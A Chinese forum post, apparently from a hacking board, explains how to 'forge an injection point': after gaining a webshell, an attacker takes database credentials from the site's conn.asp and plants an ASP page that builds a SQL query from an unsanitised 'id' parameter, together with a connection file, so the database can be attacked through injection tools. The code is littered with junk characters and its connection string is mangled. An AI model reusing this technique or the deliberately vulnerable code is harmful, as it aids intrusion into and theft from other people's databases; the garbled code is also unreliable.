找回密码
 立即注册
查看: 2329|回复: 0
打印 上一主题 下一主题

伪造注入点方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:53:08 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
" S, K6 O% P7 h! o* SASP/Visual Basic代码! a% S8 h# y2 U/ E! ?6 \$ d* j
<!--#include file="xx.asp"-->    $ F$ W, R) Q$ ]# ~5 b$ `
<%   
4 v2 f* X9 M5 r8 v9 Vset rs=server.createobject("ADODB.recordset")    ) C8 ?; w2 F. g# \5 c; d
id = request("id")    $ ?" ?  N3 L+ \' r
strSQL = "select * from admin where id=" & id   
0 C" z5 X* N: O+ |$ yrs.open strSQL,conn,1,3    + B, g7 D. n" D0 S5 z+ T9 d
rs.close    0 G; [. H, n4 b! ^' }& N/ v, C5 s, x* U
%>  + C4 g/ f. c8 V3 t1 O
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!, }! @, C6 w/ ~; {
然后就要构造一个连接数据库的文件了,代码如下:
0 u' N2 \# ~# t/ U/ OASP/Visual Basic代码
# k+ g+ L" y6 d! J5 q* C( D; y<%            
5 R2 K" _. C/ p9 W( dstrSQLServerName = "000.000.000.000"     '服务器名称或地址   
( V8 ]! a; y8 ?: s# }strSQLDBUserName = "sqlname"         '数据库帐号    4 E! U, B/ O0 J; H' n% B/ V
strSQLDBPassword = "sqlpass"         '数据库密码    / l4 }3 E" Y1 S2 p7 S$ _+ ~! z0 p2 }
strSQLDBName = "sqldataname"           '数据库名称   
  u( E" \$ y6 M) T* cSet conn = Server.CreateObject("ADODB.Connection")   
. K# p0 B! `# {strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"   , I) }* l1 v1 U, _7 N$ ~4 i
conn.open strCon   
% y$ r2 n/ t3 M* q& u. Z8 A8 ]%>  " ^- D: [& ~( C3 z
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功# d2 H' \  K( S/ s" e  o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表